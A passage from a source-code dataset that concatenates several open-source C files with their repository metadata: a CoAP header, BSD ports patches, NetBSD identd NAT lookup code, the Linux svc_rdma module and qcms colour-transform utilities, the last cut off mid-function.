} coap_content_type_t;
///////////////////////
typedef enum
{
COAP_ERR_NONE = 0,
COAP_ERR_HEADER_TOO_SHORT = 1,
COAP_ERR_VERSION_NOT_1 = 2,
COAP_ERR_TOKEN_TOO_SHORT = 3,
COAP_ERR_OPTION_TOO_SHORT_FOR_HEADER = 4,
COAP_ERR_OPTION_TOO_SHORT = 5,
COAP_ERR_OPTION_OVERRUNS_PACKET = 6,
COAP_ERR_OPTION_TOO_BIG = 7,
COAP_ERR_OPTION_LEN_INVALID = 8,
COAP_ERR_BUFFER_TOO_SMALL = 9,
COAP_ERR_UNSUPPORTED = 10,
COAP_ERR_OPTION_DELTA_INVALID = 11,
} coap_error_t;
///////////////////////
typedef struct coap_endpoint_t coap_endpoint_t;
typedef int (*coap_endpoint_func)(const coap_endpoint_t *ep, coap_rw_buffer_t *scratch, const coap_packet_t *inpkt, coap_packet_t *outpkt, uint8_t id_hi, uint8_t id_lo);
#define MAX_SEGMENTS 3 // 2 = /foo/bar, 3 = /foo/bar/baz
#define MAX_SEGMENTS_SIZE 16
typedef struct
{
int count;
const char *elems[MAX_SEGMENTS];
} coap_endpoint_path_t;
typedef struct coap_luser_entry coap_luser_entry;
struct coap_luser_entry{
// int ref;
// char name[MAX_SEGMENTS_SIZE+1]; // +1 for string '\0'
const char *name;
coap_luser_entry *next;
int content_type;
};
struct coap_endpoint_t{
coap_method_t method; /* (i.e. POST, PUT or GET) */
coap_endpoint_func handler; /* callback function which handles this
* type of endpoint (and calls
* coap_make_response() at some point) */
const coap_endpoint_path_t *path; /* path towards a resource (i.e. foo/bar/) */
const char *core_attr; /* the 'ct' attribute, as defined in RFC7252, section 7.2.1.:
* "The Content-Format code "ct" attribute
* provides a hint about the
* Content-Formats this resource returns."
* (Section 12.3. lists possible ct values.) */
coap_luser_entry *user_entry;
};
///////////////////////
void coap_dumpPacket(coap_packet_t *pkt);
int coap_parse(coap_packet_t *pkt, const uint8_t *buf, size_t buflen);
int coap_buffer_to_string(char *strbuf, size_t strbuflen, const coap_buffer_t *buf);
const coap_option_t *coap_findOptions(const coap_packet_t *pkt, uint8_t num, uint8_t *count);
int coap_build(uint8_t *buf, size_t *buflen, const coap_packet_t *pkt);
void coap_dump(const uint8_t *buf, size_t buflen, bool bare);
int coap_make_response(coap_rw_buffer_t *scratch, coap_packet_t *pkt, const uint8_t *content, size_t content_len, uint8_t msgid_hi, uint8_t msgid_lo, const coap_buffer_t* tok, coap_responsecode_t rspcode, coap_content_type_t content_type);
int coap_handle_req(coap_rw_buffer_t *scratch, const coap_packet_t *inpkt, coap_packet_t *outpkt);
void coap_option_nibble(uint32_t value, uint8_t *nibble);
void coap_setup(void);
void endpoint_setup(void);
int coap_buildOptionHeader(uint32_t optDelta, size_t length, uint8_t *buf, size_t buflen);
int check_token(coap_packet_t *pkt);
#include "uri.h"
int coap_make_request(coap_rw_buffer_t *scratch, coap_packet_t *pkt, coap_msgtype_t t, coap_method_t m, coap_uri_t *uri, const uint8_t *payload, size_t payload_len);
#ifdef __cplusplus
}
#endif
#endif
|
4297284802126a60d559153c0139ef569730e4b3
|
e65a4dbfbfb0e54e59787ba7741efee12f7687f3
|
/misc/magicpoint/files/patch-new.c
|
3ef94b86a40fbb91599f5058816193884fa8235c
|
[
"BSD-2-Clause"
] |
permissive
|
freebsd/freebsd-ports
|
86f2e89d43913412c4f6b2be3e255bc0945eac12
|
605a2983f245ac63f5420e023e7dce56898ad801
|
refs/heads/main
| 2023-08-30T21:46:28.720924
| 2023-08-30T19:33:44
| 2023-08-30T19:33:44
| 1,803,961
| 916
| 918
|
NOASSERTION
| 2023-09-08T04:06:26
| 2011-05-26T11:15:35
| null |
UTF-8
|
C
| false
| false
| 239
|
c
|
patch-new.c
|
--- image/new.c.orig 2004-09-01 03:50:32 UTC
+++ image/new.c
@@ -11,7 +11,7 @@
#include "copyright.h"
#include "image.h"
-#ifdef __APPLE__
+#if defined(__APPLE__) || defined(CSRG_BASED)
#include <stdlib.h>
#else
#include <malloc.h>
|
dff3b3257151cf16fc332804679c6db0dd5cc508
|
28d0f8c01599f8f6c711bdde0b59f9c2cd221203
|
/libexec/identd/ipf.c
|
8516cb5a69c722a8e4140ec1f6d92caa33187273
|
[] |
no_license
|
NetBSD/src
|
1a9cbc22ed778be638b37869ed4fb5c8dd616166
|
23ee83f7c0aea0777bd89d8ebd7f0cde9880d13c
|
refs/heads/trunk
| 2023-08-31T13:24:58.105962
| 2023-08-27T15:50:47
| 2023-08-27T15:50:47
| 88,439,547
| 656
| 348
| null | 2023-07-20T20:07:24
| 2017-04-16T20:03:43
| null |
UTF-8
|
C
| false
| false
| 2,545
|
c
|
ipf.c
|
/* $NetBSD: ipf.c,v 1.4 2018/12/13 13:11:28 sborrill Exp $ */
/*
* ipf.c - NAT lookup code for IP Filter.
*
* This software is in the public domain.
* Written by Peter Postma <peter@NetBSD.org>
*/
#include <sys/cdefs.h>
__RCSID("$NetBSD: ipf.c,v 1.4 2018/12/13 13:11:28 sborrill Exp $");
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/fcntl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ipl.h>
#include <netinet/ip_compat.h>
#include <netinet/ip_fil.h>
#include <netinet/ip_nat.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <unistd.h>
#include "identd.h"
int
ipf_natlookup(const struct sockaddr_storage *ss,
struct sockaddr_storage *nat_addr, in_port_t *nat_lport)
{
natlookup_t nl;
ipfobj_t obj;
int dev;
(void)memset(&obj, 0, sizeof(obj));
(void)memset(&nl, 0, sizeof(nl));
/* Build the ipf object description structure. */
obj.ipfo_rev = IPFILTER_VERSION;
obj.ipfo_size = sizeof(nl);
obj.ipfo_ptr = &nl;
obj.ipfo_type = IPFOBJ_NATLOOKUP;
/* Build the ipf natlook structure. */
switch (ss[0].ss_family) {
case AF_INET:
(void)memcpy(&nl.nl_realip, &csatosin(&ss[0])->sin_addr,
sizeof(struct in_addr));
(void)memcpy(&nl.nl_outip, &csatosin(&ss[1])->sin_addr,
sizeof(struct in_addr));
nl.nl_realport = ntohs(csatosin(&ss[0])->sin_port);
nl.nl_outport = ntohs(csatosin(&ss[1])->sin_port);
nl.nl_flags = IPN_TCP | IPN_IN;
nl.nl_v = 4; /* IPv4 */
break;
case AF_INET6:
/* XXX IP Filter doesn't support IPv6 NAT yet. */
default:
maybe_syslog(LOG_ERR, "Unsupported protocol for NAT lookup "
"(no. %d)", ss[0].ss_family);
return 0;
}
/* Open the NAT device and do the lookup. */
if ((dev = open(IPNAT_NAME, O_RDONLY)) == -1) {
maybe_syslog(LOG_ERR, "Cannot open %s: %m", IPNAT_NAME);
return 0;
}
if (ioctl(dev, SIOCGNATL, &obj) == -1) {
maybe_syslog(LOG_ERR, "NAT lookup failure: %m");
(void)close(dev);
return 0;
}
(void)close(dev);
/*
* Put the originating address into nat_addr and fill
* the port with the ident port, 113.
*/
switch (ss[0].ss_family) {
case AF_INET:
(void)memcpy(&satosin(nat_addr)->sin_addr, &nl.nl_inip,
sizeof(struct in_addr));
satosin(nat_addr)->sin_port = htons(113);
satosin(nat_addr)->sin_len = sizeof(struct sockaddr_in);
satosin(nat_addr)->sin_family = AF_INET;
break;
case AF_INET6:
break;
}
/* Put the originating port into nat_lport. */
*nat_lport = nl.nl_inport;
return 1;
}
|
178d57a67bf8a90353d67f9faa499fb606473f33
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/net/sunrpc/xprtrdma/svc_rdma.c
|
8343737e85f4d87136fd4adff6c0d4ba296e0c2c
|
[
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 8,380
|
c
|
svc_rdma.c
|
/*
* Copyright (c) 2005-2006 Network Appliance, Inc. All rights reserved.
*
* This software is available to you under a choice of one of two
* licenses. You may choose to be licensed under the terms of the GNU
* General Public License (GPL) Version 2, available from the file
* COPYING in the main directory of this source tree, or the BSD-type
* license below:
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* Neither the name of the Network Appliance, Inc. nor the names of
* its contributors may be used to endorse or promote products
* derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* Author: Tom Tucker <tom@opengridcomputing.com>
*/
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/fs.h>
#include <linux/sysctl.h>
#include <linux/workqueue.h>
#include <linux/sunrpc/clnt.h>
#include <linux/sunrpc/sched.h>
#include <linux/sunrpc/svc_rdma.h>
#include "xprt_rdma.h"
#define RPCDBG_FACILITY RPCDBG_SVCXPRT
/* RPC/RDMA parameters */
unsigned int svcrdma_ord = RPCRDMA_ORD;
static unsigned int min_ord = 1;
static unsigned int max_ord = 4096;
unsigned int svcrdma_max_requests = RPCRDMA_MAX_REQUESTS;
static unsigned int min_max_requests = 4;
static unsigned int max_max_requests = 16384;
unsigned int svcrdma_max_req_size = RPCRDMA_MAX_REQ_SIZE;
static unsigned int min_max_inline = 4096;
static unsigned int max_max_inline = 65536;
atomic_t rdma_stat_recv;
atomic_t rdma_stat_read;
atomic_t rdma_stat_write;
atomic_t rdma_stat_sq_starve;
atomic_t rdma_stat_rq_starve;
atomic_t rdma_stat_rq_poll;
atomic_t rdma_stat_rq_prod;
atomic_t rdma_stat_sq_poll;
atomic_t rdma_stat_sq_prod;
/* Temporary NFS request map and context caches */
struct kmem_cache *svc_rdma_map_cachep;
struct kmem_cache *svc_rdma_ctxt_cachep;
struct workqueue_struct *svc_rdma_wq;
/*
* This function implements reading and resetting an atomic_t stat
* variable through read/write to a proc file. Any write to the file
* resets the associated statistic to zero. Any read returns it's
* current value.
*/
static int read_reset_stat(ctl_table *table, int write,
void __user *buffer, size_t *lenp,
loff_t *ppos)
{
atomic_t *stat = (atomic_t *)table->data;
if (!stat)
return -EINVAL;
if (write)
atomic_set(stat, 0);
else {
char str_buf[32];
char *data;
int len = snprintf(str_buf, 32, "%d\n", atomic_read(stat));
if (len >= 32)
return -EFAULT;
len = strlen(str_buf);
if (*ppos > len) {
*lenp = 0;
return 0;
}
data = &str_buf[*ppos];
len -= *ppos;
if (len > *lenp)
len = *lenp;
if (len && copy_to_user(buffer, str_buf, len))
return -EFAULT;
*lenp = len;
*ppos += len;
}
return 0;
}
static struct ctl_table_header *svcrdma_table_header;
static ctl_table svcrdma_parm_table[] = {
{
.procname = "max_requests",
.data = &svcrdma_max_requests,
.maxlen = sizeof(unsigned int),
.mode = 0644,
.proc_handler = proc_dointvec_minmax,
.extra1 = &min_max_requests,
.extra2 = &max_max_requests
},
{
.procname = "max_req_size",
.data = &svcrdma_max_req_size,
.maxlen = sizeof(unsigned int),
.mode = 0644,
.proc_handler = proc_dointvec_minmax,
.extra1 = &min_max_inline,
.extra2 = &max_max_inline
},
{
.procname = "max_outbound_read_requests",
.data = &svcrdma_ord,
.maxlen = sizeof(unsigned int),
.mode = 0644,
.proc_handler = proc_dointvec_minmax,
.extra1 = &min_ord,
.extra2 = &max_ord,
},
{
.procname = "rdma_stat_read",
.data = &rdma_stat_read,
.maxlen = sizeof(atomic_t),
.mode = 0644,
.proc_handler = read_reset_stat,
},
{
.procname = "rdma_stat_recv",
.data = &rdma_stat_recv,
.maxlen = sizeof(atomic_t),
.mode = 0644,
.proc_handler = read_reset_stat,
},
{
.procname = "rdma_stat_write",
.data = &rdma_stat_write,
.maxlen = sizeof(atomic_t),
.mode = 0644,
.proc_handler = read_reset_stat,
},
{
.procname = "rdma_stat_sq_starve",
.data = &rdma_stat_sq_starve,
.maxlen = sizeof(atomic_t),
.mode = 0644,
.proc_handler = read_reset_stat,
},
{
.procname = "rdma_stat_rq_starve",
.data = &rdma_stat_rq_starve,
.maxlen = sizeof(atomic_t),
.mode = 0644,
.proc_handler = read_reset_stat,
},
{
.procname = "rdma_stat_rq_poll",
.data = &rdma_stat_rq_poll,
.maxlen = sizeof(atomic_t),
.mode = 0644,
.proc_handler = read_reset_stat,
},
{
.procname = "rdma_stat_rq_prod",
.data = &rdma_stat_rq_prod,
.maxlen = sizeof(atomic_t),
.mode = 0644,
.proc_handler = read_reset_stat,
},
{
.procname = "rdma_stat_sq_poll",
.data = &rdma_stat_sq_poll,
.maxlen = sizeof(atomic_t),
.mode = 0644,
.proc_handler = read_reset_stat,
},
{
.procname = "rdma_stat_sq_prod",
.data = &rdma_stat_sq_prod,
.maxlen = sizeof(atomic_t),
.mode = 0644,
.proc_handler = read_reset_stat,
},
{ },
};
static ctl_table svcrdma_table[] = {
{
.procname = "svc_rdma",
.mode = 0555,
.child = svcrdma_parm_table
},
{ },
};
static ctl_table svcrdma_root_table[] = {
{
.procname = "sunrpc",
.mode = 0555,
.child = svcrdma_table
},
{ },
};
void svc_rdma_cleanup(void)
{
dprintk("SVCRDMA Module Removed, deregister RPC RDMA transport\n");
destroy_workqueue(svc_rdma_wq);
if (svcrdma_table_header) {
unregister_sysctl_table(svcrdma_table_header);
svcrdma_table_header = NULL;
}
svc_unreg_xprt_class(&svc_rdma_class);
kmem_cache_destroy(svc_rdma_map_cachep);
kmem_cache_destroy(svc_rdma_ctxt_cachep);
}
int svc_rdma_init(void)
{
dprintk("SVCRDMA Module Init, register RPC RDMA transport\n");
dprintk("\tsvcrdma_ord : %d\n", svcrdma_ord);
dprintk("\tmax_requests : %d\n", svcrdma_max_requests);
dprintk("\tsq_depth : %d\n",
svcrdma_max_requests * RPCRDMA_SQ_DEPTH_MULT);
dprintk("\tmax_inline : %d\n", svcrdma_max_req_size);
svc_rdma_wq = alloc_workqueue("svc_rdma", 0, 0);
if (!svc_rdma_wq)
return -ENOMEM;
if (!svcrdma_table_header)
svcrdma_table_header =
register_sysctl_table(svcrdma_root_table);
/* Create the temporary map cache */
svc_rdma_map_cachep = kmem_cache_create("svc_rdma_map_cache",
sizeof(struct svc_rdma_req_map),
0,
SLAB_HWCACHE_ALIGN,
NULL);
if (!svc_rdma_map_cachep) {
printk(KERN_INFO "Could not allocate map cache.\n");
goto err0;
}
/* Create the temporary context cache */
svc_rdma_ctxt_cachep =
kmem_cache_create("svc_rdma_ctxt_cache",
sizeof(struct svc_rdma_op_ctxt),
0,
SLAB_HWCACHE_ALIGN,
NULL);
if (!svc_rdma_ctxt_cachep) {
printk(KERN_INFO "Could not allocate WR ctxt cache.\n");
goto err1;
}
/* Register RDMA with the SVC transport switch */
svc_reg_xprt_class(&svc_rdma_class);
return 0;
err1:
kmem_cache_destroy(svc_rdma_map_cachep);
err0:
unregister_sysctl_table(svcrdma_table_header);
destroy_workqueue(svc_rdma_wq);
return -ENOMEM;
}
MODULE_AUTHOR("Tom Tucker <tom@opengridcomputing.com>");
MODULE_DESCRIPTION("SVC RDMA Transport");
MODULE_LICENSE("Dual BSD/GPL");
module_init(svc_rdma_init);
module_exit(svc_rdma_cleanup);
|
d9044f103970fcbf963d55dc7f9f87dac03fe658
|
f79dec3c4033ca3cbb55d8a51a748cc7b8b6fbab
|
/textproc/raptor/patches/patch-src_raptor_internal.h
|
a1df8d3c94cb303ecac1d8ecb30011791b71e5f9
|
[] |
no_license
|
jsonn/pkgsrc
|
fb34c4a6a2d350e8e415f3c4955d4989fcd86881
|
c1514b5f4a3726d90e30aa16b0c209adbc276d17
|
refs/heads/trunk
| 2021-01-24T09:10:01.038867
| 2017-07-07T15:49:43
| 2017-07-07T15:49:43
| 2,095,004
| 106
| 47
| null | 2016-09-19T09:26:01
| 2011-07-23T23:49:04
|
Makefile
|
UTF-8
|
C
| false
| false
| 422
|
h
|
patch-src_raptor_internal.h
|
$NetBSD: patch-src_raptor_internal.h,v 1.1 2011/07/02 01:24:28 markd Exp $
curl/types.h is not used (empty) since curl-7.12.0 and removed at curl-7.21.7.
--- src/raptor_internal.h.orig 2010-01-29 23:54:42.000000000 +0000
+++ src/raptor_internal.h
@@ -852,7 +852,6 @@ int raptor_utf8_is_nfc(const unsigned ch
#ifdef RAPTOR_WWW_LIBCURL
#include <curl/curl.h>
-#include <curl/types.h>
#include <curl/easy.h>
#endif
|
62ff50cc7524fffae3ec5e90505e27142070ee6b
|
a3d6556180e74af7b555f8d47d3fea55b94bcbda
|
/third_party/qcms/src/transform_util.c
|
56125ad3b296c0c76de4b0c10c06065acc1bb360
|
[
"MIT",
"BSD-3-Clause",
"GPL-1.0-or-later",
"LGPL-2.0-or-later",
"Apache-2.0"
] |
permissive
|
chromium/chromium
|
aaa9eda10115b50b0616d2f1aed5ef35d1d779d6
|
a401d6cf4f7bf0e2d2e964c512ebb923c3d8832c
|
refs/heads/main
| 2023-08-24T00:35:12.585945
| 2023-08-23T22:01:11
| 2023-08-23T22:01:11
| 120,360,765
| 17,408
| 7,102
|
BSD-3-Clause
| 2023-09-10T23:44:27
| 2018-02-05T20:55:32
| null |
UTF-8
|
C
| false
| false
| 23,080
|
c
|
transform_util.c
|
// qcms
// Copyright (C) 2009 Mozilla Foundation
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the Software
// is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO
// THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#define _ISOC99_SOURCE /* for INFINITY */
#include <math.h>
#include <assert.h>
#include <string.h> //memcpy
#include "qcmsint.h"
#include "transform_util.h"
#include "matrix.h"
#if !defined(INFINITY)
#define INFINITY HUGE_VAL
#endif
#ifdef USE_LIBFUZZER
#define ASSERT(x)
#else
#define ASSERT(x) assert(x)
#endif
#define PARAMETRIC_CURVE_TYPE 0x70617261 //'para'
/* value must be a value between 0 and 1 */
//XXX: is the above a good restriction to have?
// the output range of this function is 0..1
float lut_interp_linear(double input_value, uint16_t *table, size_t length)
{
int upper, lower;
float value;
input_value = input_value * (length - 1); // scale to length of the array
upper = ceil(input_value);
lower = floor(input_value);
//XXX: can we be more performant here?
value = table[upper]*(1. - (upper - input_value)) + table[lower]*(upper - input_value);
/* scale the value */
return value * (1.f/65535.f);
}
/* same as above but takes and returns a uint16_t value representing a range from 0..1 */
uint16_t lut_interp_linear16(uint16_t input_value, uint16_t *table, size_t length)
{
/* Start scaling input_value to the length of the array: 65535*(length-1).
* We'll divide out the 65535 next */
uintptr_t value = (input_value * (length - 1));
uint32_t upper = (value + 65534) / 65535; /* equivalent to ceil(value/65535) */
uint32_t lower = value / 65535; /* equivalent to floor(value/65535) */
/* interp is the distance from upper to value scaled to 0..65535 */
uint32_t interp = value % 65535;
value = (table[upper]*(interp) + table[lower]*(65535 - interp))/65535; // 0..65535*65535
return value;
}
/* same as above but takes an input_value from 0..PRECACHE_OUTPUT_MAX
* and returns a uint8_t value representing a range from 0..1 */
static
uint8_t lut_interp_linear_precache_output(uint32_t input_value, uint16_t *table, size_t length)
{
/* Start scaling input_value to the length of the array: PRECACHE_OUTPUT_MAX*(length-1).
* We'll divide out the PRECACHE_OUTPUT_MAX next */
uintptr_t value = (input_value * (length - 1));
/* equivalent to ceil(value/PRECACHE_OUTPUT_MAX) */
uint32_t upper = (value + PRECACHE_OUTPUT_MAX-1) / PRECACHE_OUTPUT_MAX;
/* equivalent to floor(value/PRECACHE_OUTPUT_MAX) */
uint32_t lower = value / PRECACHE_OUTPUT_MAX;
/* interp is the distance from upper to value scaled to 0..PRECACHE_OUTPUT_MAX */
uint32_t interp = value % PRECACHE_OUTPUT_MAX;
/* the table values range from 0..65535 */
value = (table[upper]*(interp) + table[lower]*(PRECACHE_OUTPUT_MAX - interp)); // 0..(65535*PRECACHE_OUTPUT_MAX)
/* round and scale */
value += (PRECACHE_OUTPUT_MAX*65535/255)/2;
value /= (PRECACHE_OUTPUT_MAX*65535/255); // scale to 0..255
return value;
}
/* value must be a value between 0 and 1 */
//XXX: is the above a good restriction to have?
float lut_interp_linear_float(float value, float *table, size_t length)
{
int upper, lower;
value = value * (length - 1);
upper = ceil(value);
lower = floor(value);
//XXX: can we be more performant here?
value = table[upper]*(1. - (upper - value)) + table[lower]*(upper - value);
/* scale the value */
return value;
}
#if 0
/* if we use a different representation i.e. one that goes from 0 to 0x1000 we can be more efficient
* because we can avoid the divisions and use a shifting instead */
/* same as above but takes and returns a uint16_t value representing a range from 0..1 */
uint16_t lut_interp_linear16(uint16_t input_value, uint16_t *table, int length)
{
uint32_t value = (input_value * (length - 1));
uint32_t upper = (value + 4095) / 4096; /* equivalent to ceil(value/4096) */
uint32_t lower = value / 4096; /* equivalent to floor(value/4096) */
uint32_t interp = value % 4096;
value = (table[upper]*(interp) + table[lower]*(4096 - interp))/4096; // 0..4096*4096
return value;
}
#endif
void compute_curve_gamma_table_type1(float gamma_table[256], uint16_t gamma)
{
unsigned int i;
float gamma_float = u8Fixed8Number_to_float(gamma);
for (i = 0; i < 256; i++) {
// 0..1^(0..255 + 255/256) will always be between 0 and 1
gamma_table[i] = pow(i/255., gamma_float);
}
}
void compute_curve_gamma_table_type2(float gamma_table[256], uint16_t *table, size_t length)
{
unsigned int i;
for (i = 0; i < 256; i++) {
gamma_table[i] = lut_interp_linear(i/255., table, length);
}
}
void compute_curve_gamma_table_type_parametric(float gamma_table[256], float parameter[7], int count)
{
size_t X;
float interval;
float a, b, c, e, f;
float y = parameter[0];
if (count == 0) {
a = 1;
b = 0;
c = 0;
e = 0;
f = 0;
interval = -INFINITY;
} else if(count == 1) {
a = parameter[1];
b = parameter[2];
c = 0;
e = 0;
f = 0;
interval = -1 * parameter[2] / parameter[1];
} else if(count == 2) {
a = parameter[1];
b = parameter[2];
c = 0;
e = parameter[3];
f = parameter[3];
interval = -1 * parameter[2] / parameter[1];
} else if(count == 3) {
a = parameter[1];
b = parameter[2];
c = parameter[3];
e = -c;
f = 0;
interval = parameter[4];
} else if(count == 4) {
a = parameter[1];
b = parameter[2];
c = parameter[3];
e = parameter[5] - c;
f = parameter[6];
interval = parameter[4];
} else {
ASSERT(0 && "invalid parametric function type.");
a = 1;
b = 0;
c = 0;
e = 0;
f = 0;
interval = -INFINITY;
}
for (X = 0; X < 256; X++) {
float x = X / 255.0;
if (x >= interval) {
// XXX The equations are not exactly as definied in the spec but are
// algebraic equivilent.
// TODO Should division by 255 be for the whole expression.
gamma_table[X] = clamp_float(powf(a * x + b, y) + (c + e));
} else {
gamma_table[X] = clamp_float(c * x + f);
}
}
}
void compute_curve_gamma_table_type0(float gamma_table[256])
{
unsigned int i;
for (i = 0; i < 256; i++) {
gamma_table[i] = i/255.;
}
}
float clamp_float(float a)
{
/* One would naturally write this function as the following:
if (a > 1.)
return 1.;
else if (a < 0)
return 0;
else
return a;
However, that version will let NaNs pass through which is undesirable
for most consumers.
*/
if (a > 1.)
return 1.;
else if (a >= 0)
return a;
else // a < 0 or a is NaN
return 0;
}
unsigned char clamp_u8(float v)
{
if (v > 255.)
return 255;
else if (v < 0)
return 0;
else
return floor(v+.5);
}
float u8Fixed8Number_to_float(uint16_t x)
{
// 0x0000 = 0.
// 0x0100 = 1.
// 0xffff = 255 + 255/256
return x/256.;
}
/* The SSE2 code uses min & max which let NaNs pass through.
We want to try to prevent that here by ensuring that
gamma table is within expected values. */
void validate_gamma_table(float gamma_table[256])
{
int i;
for (i = 0; i < 256; i++) {
// Note: we check that the gamma is not in range
// instead of out of range so that we catch NaNs
if (!(gamma_table[i] >= 0.f && gamma_table[i] <= 1.f)) {
gamma_table[i] = 0.f;
}
}
}
float *build_input_gamma_table(struct curveType *TRC)
{
float *gamma_table;
if (!TRC) return NULL;
gamma_table = malloc(sizeof(float)*256);
if (gamma_table) {
if (TRC->type == PARAMETRIC_CURVE_TYPE) {
compute_curve_gamma_table_type_parametric(gamma_table, TRC->parameter, TRC->count);
} else {
if (TRC->count == 0) {
compute_curve_gamma_table_type0(gamma_table);
} else if (TRC->count == 1) {
compute_curve_gamma_table_type1(gamma_table, TRC->data[0]);
} else {
compute_curve_gamma_table_type2(gamma_table, TRC->data, TRC->count);
}
}
}
validate_gamma_table(gamma_table);
return gamma_table;
}
struct matrix build_colorant_matrix(qcms_profile *p)
{
struct matrix result;
result.m[0][0] = s15Fixed16Number_to_float(p->redColorant.X);
result.m[0][1] = s15Fixed16Number_to_float(p->greenColorant.X);
result.m[0][2] = s15Fixed16Number_to_float(p->blueColorant.X);
result.m[1][0] = s15Fixed16Number_to_float(p->redColorant.Y);
result.m[1][1] = s15Fixed16Number_to_float(p->greenColorant.Y);
result.m[1][2] = s15Fixed16Number_to_float(p->blueColorant.Y);
result.m[2][0] = s15Fixed16Number_to_float(p->redColorant.Z);
result.m[2][1] = s15Fixed16Number_to_float(p->greenColorant.Z);
result.m[2][2] = s15Fixed16Number_to_float(p->blueColorant.Z);
result.invalid = false;
return result;
}
/* The following code is copied nearly directly from lcms.
* I think it could be much better. For example, Argyll seems to have better code in
* icmTable_lookup_bwd and icmTable_setup_bwd. However, for now this is a quick way
* to a working solution and allows for easy comparing with lcms. */
uint16_fract_t lut_inverse_interp16(uint16_t Value, uint16_t LutTable[], int length, int NumZeroes, int NumPoles)
{
int l = 1;
int r = 0x10000;
int x = 0, res; // 'int' Give spacing for negative values
int cell0, cell1;
double val2;
double y0, y1, x0, x1;
double a, b, f;
// July/27 2001 - Expanded to handle degenerated curves with an arbitrary
// number of elements containing 0 at the beginning of the table (Zeroes)
// and another arbitrary number of poles (FFFFh) at the end.
// There are no zeros at the beginning and we are trying to find a zero, so
// return anything. It seems zero would be the less destructive choice
/* I'm not sure that this makes sense, but oh well... */
if (NumZeroes == 0 && Value == 0)
return 0;
// Does the curve belong to this case?
if (NumZeroes > 1 || NumPoles > 1)
{
float a, b;
int sample;
// Identify if value fall downto 0 or FFFF zone
if (Value == 0) return 0;
// if (Value == 0xFFFF) return 0xFFFF;
sample = (length-1) * ((double) Value * (1./65535.));
if (LutTable[sample] == 0xffff)
return 0xffff;
// else restrict to valid zone
a = ((NumZeroes-1) * 65535.f) / (length-1);
b = ((length-1 - NumPoles) * 65535.f) / (length-1);
l = ((int)a) - 1;
r = ((int)b) + 1;
// Ensure a valid binary search range
if (l < 1)
l = 1;
if (r > 0x10000)
r = 0x10000;
// If the search range is inverted due to degeneracy,
// deem LutTable non-invertible in this search range.
// Refer to https://bugzil.la/1132467
if (r <= l)
return 0;
}
// For input 0, return that to maintain black level. Note the binary search
// does not. For example, it inverts the standard sRGB gamma curve to 7 at
// the origin, causing a black level error.
if (Value == 0 && NumZeroes) {
return 0;
}
// Seems not a degenerated case... apply binary search
while (r > l) {
x = (l + r) / 2;
res = (int) lut_interp_linear16((uint16_fract_t) (x-1), LutTable, length);
if (res == Value) {
// Found exact match.
return (uint16_fract_t) (x - 1);
}
if (res > Value) r = x - 1;
else l = x + 1;
}
// Not found, should we interpolate?
// Get surrounding nodes
assert(x >= 1);
val2 = (length-1) * ((double) (x - 1) / 65535.0);
cell0 = (int) floor(val2);
cell1 = (int) ceil(val2);
assert(cell0 >= 0);
assert(cell1 >= 0);
assert(cell0 < length);
assert(cell1 < length);
if (cell0 == cell1) return (uint16_fract_t) x;
y0 = LutTable[cell0] ;
x0 = (65535.0 * cell0) / (length-1);
y1 = LutTable[cell1] ;
x1 = (65535.0 * cell1) / (length-1);
